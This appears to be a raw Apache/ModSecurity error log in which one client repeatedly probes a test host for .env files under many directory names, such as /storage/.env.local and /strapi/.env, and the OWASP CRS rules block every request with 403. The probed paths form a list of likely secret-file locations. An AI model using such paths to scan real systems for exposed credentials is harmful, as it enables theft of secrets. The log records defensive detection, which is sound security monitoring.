[Thu Feb 26 01:03:19.659092 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxQAAAAI&quot;]
[Thu Feb 26 01:03:19.659264 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxQAAAAI&quot;]
[Thu Feb 26 01:03:19.685017 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxgAAAAI&quot;]
[Thu Feb 26 01:03:19.685285 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxgAAAAI&quot;]
[Thu Feb 26 01:03:19.685492 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stats/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxgAAAAI&quot;]
[Thu Feb 26 01:03:19.718359 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxwAAAAI&quot;]
[Thu Feb 26 01:03:19.718620 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxwAAAAI&quot;]
[Thu Feb 26 01:03:19.718797 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxwAAAAI&quot;]
[Thu Feb 26 01:03:19.762233 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlyAAAAAI&quot;]
[Thu Feb 26 01:03:19.762501 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlyAAAAAI&quot;]
[Thu Feb 26 01:03:19.762707 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.local&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlyAAAAAI&quot;]
[Thu Feb 26 01:03:19.842659 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /strapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlygAAAAI&quot;]
[Thu Feb 26 01:03:19.842890 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlygAAAAI&quot;]
[Thu Feb 26 01:03:19.843046 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/strapi/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlygAAAAI&quot;]
[Thu Feb 26 01:03:19.870418 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlILwAAAAQ&quot;]
[Thu Feb 26 01:03:19.870660 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlILwAAAAQ&quot;]
[Thu Feb 26 01:03:19.870831 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlILwAAAAQ&quot;]
[Thu Feb 26 01:03:19.880286 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /style/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlywAAAAI&quot;]
[Thu Feb 26 01:03:19.880500 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlywAAAAI&quot;]
[Thu Feb 26 01:03:19.880662 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlywAAAAI&quot;]
[Thu Feb 26 01:03:19.898876 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMAAAAAQ&quot;]
[Thu Feb 26 01:03:19.899094 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMAAAAAQ&quot;]
[Thu Feb 26 01:03:19.899252 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMAAAAAQ&quot;]
[Thu Feb 26 01:03:19.906220 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /styles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzAAAAAI&quot;]
[Thu Feb 26 01:03:19.906449 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzAAAAAI&quot;]
[Thu Feb 26 01:03:19.906600 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzAAAAAI&quot;]
[Thu Feb 26 01:03:19.940593 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stylesheets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzQAAAAI&quot;]
[Thu Feb 26 01:03:19.940843 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzQAAAAI&quot;]
[Thu Feb 26 01:03:19.941011 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlzQAAAAI&quot;]
[Thu Feb 26 01:03:19.943182 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMQAAAAQ&quot;]
[Thu Feb 26 01:03:19.943405 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMQAAAAQ&quot;]
[Thu Feb 26 01:03:19.943555 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMQAAAAQ&quot;]
[Thu Feb 26 01:03:19.986626 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staticfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIMgAAAAQ&quot;]
